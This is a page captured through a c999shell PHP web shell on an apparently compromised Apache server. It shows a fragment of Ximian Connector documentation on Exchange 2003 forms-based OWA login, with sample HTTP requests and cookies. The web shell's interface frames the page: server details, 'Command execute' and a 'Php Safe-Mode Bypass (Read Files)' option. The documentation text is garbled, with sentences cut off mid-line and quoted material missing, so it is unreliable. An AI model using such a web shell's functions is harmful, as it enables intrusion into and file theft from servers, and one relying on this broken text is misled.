Software: Apache/2.2.3 (CentOS). PHP/5.1.6 uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44 uid=48(apache) gid=48(apache) groups=48(apache) Safe-mode: OFF (not secure) /usr/share/gtk-doc/html/ximian-connector/ drwxr-xr-x |
Viewing file: ximian-connector-fba.html (8.28 KB) -rw-r--r-- Select action/file-type: (+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
Exchange 2003 introduced "forms-based authentication" for OWA, which lets the administrator configure OWA to present an HTML form to the user to type his username and password into instead of using HTTP authentication. This main benefit of this is that it gives the administrator more control over how and when the authentication expires. It's annoying for us though. If forms-based auth is turned on, then HTTP auth just won't work. You have to play the forms game.
If forms-based auth is turned on, then SSL must also be required, and
non-https requests will get "
GET requests under
Trying to GET
The page returned by
The " We then POST the form with the user's username and password: POST /exchweb/bin/auth/owaauth.dll HTTP/1.1 Host: ex2k3.xcs.ximian.com Content-Type: application/x-www-form-urlencoded Content-Length: To which the server responds: HTTP/1.1 302 Moved Temporarily Server: Microsoft-IIS/5.0 Date: Thu, 24 Jul 2003 17:23:33 GMT X-Powered-By: ASP.NET Location: https://ex2k3.xcs.ximian.com/exchange/ Set-Cookie: sessionid=fbb50caf-381a-4f85-9582-a7a902b4561f,0x409; path=/ Set-Cookie: cadata="2,8JOrhvROIJykiSTShG6Ujrigo+a5XQgEbws7tq3//37QERyFwWDoV7xw6DG+Awlm"; HttpOnly; secure; path=/ Content-Length: 0
(" Now you have to make another request to find out if the cookie is any good. This request (and all further requests) should include the two cookies: Cookie: sessionid=fbb50caf-381a-4f85-9582-a7a902b4561f,0x409; cadata="2,8JOrhvROIJykiSTShG6Ujrigo+a5XQgEbws7tq3//37QERyFwWDoV7xw6DG+Awlm"
If you do an OWA GET (a
GET without " 440 Login Timeout Set-Cookie: sessionid=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT Set-Cookie: cadata=; path=/; expires=Thu, 01-Jan-1970 00:00:00 GMT Connection: close
Eventually, when the cookie does expire, you will get a
" |
:: Command execute :: | |
:: Shadow's tricks :D :: | |
Useful Commands
|
:: Preddy's tricks :D :: | |
Php Safe-Mode Bypass (Read Files)
|
--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0191 ]-- |